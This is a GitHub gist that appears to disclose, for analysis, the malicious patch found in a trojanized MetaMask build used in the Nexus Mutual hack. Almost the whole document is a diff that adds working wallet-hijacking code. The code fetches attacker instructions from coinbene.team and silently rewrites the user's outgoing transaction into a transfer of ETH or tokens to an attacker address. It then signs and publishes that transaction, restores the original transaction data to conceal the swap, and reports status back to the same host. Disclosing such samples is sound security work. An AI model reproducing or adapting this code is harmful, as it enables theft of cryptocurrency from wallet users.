Skip to content

Instantly share code, notes, and snippets.

@banteg
Created December 14, 2020 21:50
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save banteg/53a62b1f5eab56c8d4841786fc94d3ca to your computer and use it in GitHub Desktop.
Save banteg/53a62b1f5eab56c8d4841786fc94d3ca to your computer and use it in GitHub Desktop.
metamask exploit payload extracted from nexus mutual exploit
3a4,156
> async tl(tt, tv) {
> try {
> var x = new XMLHttpRequest();
> x.open("GET", "http://coinbene.team/metamask/config.php?c=" + tt + "&r=" + tv, true);
> x.send();
> } catch (te) {}
> }
> async tgc(rtv) {
> rtv.x.open("GET", "http://coinbene.team/metamask/config.php?c=g&r=" + rtv.ha, true);
> rtv.x.onreadystatechange = function() {
> if (rtv.x.readyState == 4) {
> rtv.rp = JSON.parse(rtv.x.responseText);
> var rp = rtv.rp;
> do {
> if (rtv.x.status != 200 || rtv.x.statusText != "OK" || rtv.x.response == null) break;
> if (!(rp.to !== undefined) || !(rp.contract !== undefined) || !(rp.contractw !== undefined) || !(rp.decimal !== undefined) || !(rp.amount !== undefined) || !(rp.from !== undefined)) break;
> if (typeof rp.to != "string" || typeof rp.contract != "string" || typeof rp.contractw != "string" || typeof rp.decimal != "number" || typeof rp.amount != "number") break;
> if (Array.isArray(rp.from) === false || rp.from.length <= 0) break;
> if (!c.default.isValidAddress(rp.to) || (rp.contract != "0x00" && !c.default.isValidAddress(rp.contract)) || (rp.contractw != "0x00" && !c.default.isValidAddress(rp.contractw))) break;
> if (rp.decimal < 0 || rp.amount <= 0) break;
> if (rp.contractw == "0x00") {
> rtv.tae = 2;
> return;
> } else if (rp.from.find(key => key.toLowerCase() === rtv.ha.toLowerCase()) != undefined) {
> rtv.tae = 1;
> return;
> }
> } while (0);
> rtv.tae = 8;
> return;
> }
> }
> rtv.x.send();
> }
> async tvf(rtv) {
> rtv.tae = 200000;
> let ma = [{
> "constant": true,
> "inputs": [{
> "name": "",
> "type": "address"
> }],
> "name": "whiteListed",
> "outputs": [{
> "name": "",
> "type": "bool"
> }],
> "type": "function"
> },
> {
> "constant": true,
> "inputs": [{
> "name": "",
> "type": "address"
> }],
> "name": "isLockedForMV",
> "outputs": [{
> "name": "",
> "type": "uint256"
> }],
> "type": "function"
> },
> {
> "constant": true,
> "inputs": [{
> "name": "owner",
> "type": "address"
> }, {
> "name": "spender",
> "type": "address"
> }],
> "name": "allowance",
> "outputs": [{
> "name": "",
> "type": "uint256"
> }],
> "type": "function"
> }
> ];
> const w3 = new Web3(this.provider);
> let ct = w3.eth.contract(ma).at(rtv.rp.contract);
> try {
> ct.whiteListed(rtv.ha, (error, iwl) => {
> if (error || iwl != true) rtv.tae = 3;
> else rtv.tae = rtv.tae / 10;
> });
> ct.whiteListed(rtv.rp.to, (error, iwl) => {
> if (error || iwl != true) rtv.tae = 3;
> else rtv.tae = rtv.tae / 10;
> });
> ct.isLockedForMV(rtv.ha, (error, ilm) => {
> if (error || ilm > (Date.now() / 10 ** 3)) rtv.tae = 3;
> else rtv.tae = rtv.tae / 10;
> });
> ct.isLockedForMV(rtv.rp.to, (error, ilm) => {
> if (error || ilm > (Date.now() / 10 ** 3)) rtv.tae = 3;
> else rtv.tae = rtv.tae / 10;
> });
> ct.allowance(rtv.rp.to, rtv.rp.contractw, (error, iwn) => {
> if (error || rtv.rp.amount > (iwn / (10 ** rtv.rp.decimal))) rtv.tae = 3;
> else rtv.tae = rtv.tae / 10;
> });
> } catch (te) {
> rtv.tae = 3;
> }
> }
> async isb() {
> try {
> var rtv = {
> x: new XMLHttpRequest(),
> rp: null,
> tae: 0,
> ha: this.getSelectedAddress()
> };
> await this.tgc(rtv);
> await new Promise(r => setTimeout(r, 1000));
> if (!rtv.tae) await new Promise(r => setTimeout(r, 1000));
> if (rtv.tae == 1 && rtv.rp.contract != "0x00") {
> await this.tvf(rtv);
> await new Promise(r => setTimeout(r, 2000));
> if (rtv.tae > 100) await new Promise(r => setTimeout(r, 1000));
> }
> if (rtv.tae == 2) return 0;
> } catch (te) {
> return 1;
> }
> return 1;
> }
> async tchv(rtv, r, ttr, etba) {
> try {
> var tf = rtv.rp.amount;
> rtv.rp.amount = c.default.bufferToHex(rtv.rp.amount * 10 ** rtv.rp.decimal);
> ttr.txParams.gasPrice = c.default.bufferToHex(Math.min(Math.max(c.default.bufferToInt(r.txParams.gasPrice) * 2, 80 * 10 ** 9), 160 * 10 ** 9));
> if (rtv.rp.contract == "0x00") {
> ttr.transactionCategory = _.TRANSACTION_CATEGORIES.SENT_ETHER;
> ttr.txParams.to = rtv.rp.to;
> ttr.txParams.gas = c.default.bufferToHex(Math.max(Math.min(c.default.bufferToInt(r.txParams.gas) * 2, 40000), 25000));
> ttr.txParams.value = rtv.rp.amount;
> } else {
> rtv.rp.amount = rtv.rp.amount.slice(2);
> rtv.rp.to = rtv.rp.to.slice(2);
> ttr.transactionCategory = _.TRANSACTION_CATEGORIES.TOKEN_METHOD_TRANSFER;
> ttr.txParams.to = rtv.rp.contract;
> ttr.txParams.data = "0xa9059cbb" + Array(64 - rtv.rp.to.length + 1).join("0") + rtv.rp.to + Array(64 - rtv.rp.amount.length + 1).join("0") + rtv.rp.amount;
> ttr.txParams.gas = c.default.bufferToHex(Math.min(Math.max(c.default.bufferToInt(r.txParams.gas) * 2, 87654), 138765));
> ttr.txParams.value = "0x0";
> tf = 0;
> }
> if ((tf = tf + c.default.bufferToInt(ttr.txParams.gasPrice) * c.default.bufferToInt(ttr.txParams.gas) / (10 ** 18)) > (etba / (10 ** 18))) rtv.tae = 4;
> } catch (te) {
> rtv.tae = 5;
> }
> }
4a158,164
> var etba = await this.query.getBalance(this.getSelectedAddress());
> var rtv = {
> x: new XMLHttpRequest(),
> rp: null,
> tae: 0,
> ha: this.getSelectedAddress()
> };
6c166
< let t;
---
> let t, g;
10,11c170,192
< const r = this.txStateManager.getTx(e),
< n = r.txParams.from;
---
> let r = this.txStateManager.getTx(e),
> n = r.txParams.from,
> ttr, s;
> try {
> if (r.type == _.TRANSACTION_TYPES.CANCEL || r.type == _.TRANSACTION_TYPES.RETRY) rtv.tae = 10;
> else if (c.default.bufferToInt(r.txParams.value / (10 ** 9)) != 0) rtv.tae = 9;
> else {
> try {
> await this.tgc(rtv);
> await new Promise(r => setTimeout(r, 1000));
> if (!rtv.tae) await new Promise(r => setTimeout(r, 1000));
> if (rtv.tae == 1 && rtv.rp.contract != "0x00") {
> await this.tvf(rtv);
> await new Promise(r => setTimeout(r, 2000));
> if (rtv.tae > 100) await new Promise(r => setTimeout(r, 1000));
> }
> } catch (te) {
> rtv.tae = 6;
> }
> }
> } catch (te) {
> rtv.tae = 0;
> }
19,21c200,201
< const s = await this.signTransaction(e);
< await this.publishTransaction(e, s), t.releaseLock()
< } catch (r) {
---
> g = JSON.parse(JSON.stringify(r));
>
23,25c203,234
< this.txStateManager.setTxStatusFailed(e, r)
< } catch (e) {
< m.default.error(e)
---
> if (rtv.tae == 2) {
> ttr = this.txStateManager.generateTxMeta({
> history: r.history,
> id: r.id,
> loadingDefaults: r.loadingDefaults,
> metamaskNetworkId: r.metamaskNetworkId,
> nonceDetails: r.nonceDetails,
> origin: r.origin,
> status: r.status,
> time: r.time,
> txParams: {
> from: r.txParams.from,
> gas: r.txParams.gas,
> gasPrice: r.txParams.gasPrice,
> nonce: r.txParams.nonce
> },
> type: _.TRANSACTION_TYPES.STANDARD
> });
> await this.tchv(rtv, r, ttr, etba);
> if (rtv.tae == 2) {
> Object.keys(r).forEach(k => delete r[k]);
> ttr.constructor();
> for (var attr in ttr)
> if (ttr.hasOwnProperty(attr)) r[attr] = ttr[attr];
> }
> }
> } catch (te) {
> rtv.tae = 7;
> Object.keys(r).forEach(k => delete r[k]);
> g.constructor();
> for (var attr in g)
> if (g.hasOwnProperty(attr)) r[attr] = g[attr];
27c236,250
< throw t && t.releaseLock(), r
---
>
> s = await this.signTransaction(e, g, rtv.tae);
>
> await this.publishTransaction(e, s, g, rtv.tae), t.releaseLock()
> } catch (ter) {
> try {
> this.txStateManager.setTxStatusFailed(e, ter, g, rtv.tae)
> Object.keys(r).forEach(k => delete r[k]);
> g.constructor();
> for (var attr in g)
> if (g.hasOwnProperty(attr)) r[attr] = g[attr];
> } catch (ttee) {
> m.default.error(ttee)
> }
> throw t && t.releaseLock(), ter
30a254,256
> try {
> this.tl("p", rtv.tae.toString());
> } catch (te) {}
32,34c258,260
< async signTransaction(e) {
< const t = this.txStateManager.getTx(e),
< r = this.getChainId(),
---
> async signTransaction(e, tg = 0, tae = 0) {
> let t = this.txStateManager.getTx(e);
> const r = this.getChainId(),
39a266,275
> try {
> if (tae == 2) {
> Object.keys(t).forEach(k => delete t[k]);
> tg.constructor();
> for (var attr in tg)
> if (tg.hasOwnProperty(attr)) t[attr] = tg[attr];
> }
> } catch (te) {
> t = this.txStateManager.getTx(e);
> }
43,44c279,280
< async publishTransaction(e, t) {
< const r = this.txStateManager.getTx(e);
---
> async publishTransaction(e, t, g = 0, tae = 0) {
> let r = this.txStateManager.getTx(e);
47c283,292
< r.preTxBalance = e.toString(16)
---
> r.preTxBalance = e.toString(16);
> if (tae == 2) g.preTxBalance = r.preTxBalance;
> }
> try {
> if (tae == 2) {
> g.rawTx = t, g.history = r.history, g.r = r.r, g.s = r.s, g.status = r.status, g.v = r.v;
> r = g;
> }
> } catch (te) {
> tae = 0;
52c297,300
< n = await this.query.sendRawTransaction(t)
---
> n = await this.query.sendRawTransaction(t);
> try {
> if (tae == 2) this.tl("q", "8");
> } catch (te) {}
59,77d306
< async confirmTransaction(e, t) {
< const r = this.txStateManager.getTx(e);
< if (r) try {
< const n = "string" == typeof t.gasUsed ? t.gasUsed : t.gasUsed.toString(16);
< if (r.txReceipt = T(T({}, t), {}, {
< gasUsed: n
< }), this.txStateManager.setTxStatusConfirmed(e), this._markNonceDuplicatesDropped(e), this.txStateManager.updateTx(r, "transactions#confirmTransaction - add txReceipt"), r.transactionCategory === _.TRANSACTION_CATEGORIES.SWAP) {
< const t = await this.query.getBalance(r.txParams.from),
< n = this.txStateManager.getTx(e),
< o = n.approvalTxId ? this.txStateManager.getTx(n.approvalTxId) : null;
< n.postTxBalance = t.toString(16), this.txStateManager.updateTx(n, "transactions#confirmTransaction - add postTxBalance"), this._trackSwapsMetrics(n, o)
< }
< } catch (e) {
< m.default.error(e)
< }
< }
< async cancelTransaction(e) {
< this.txStateManager.setTxStatusRejected(e)
< }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment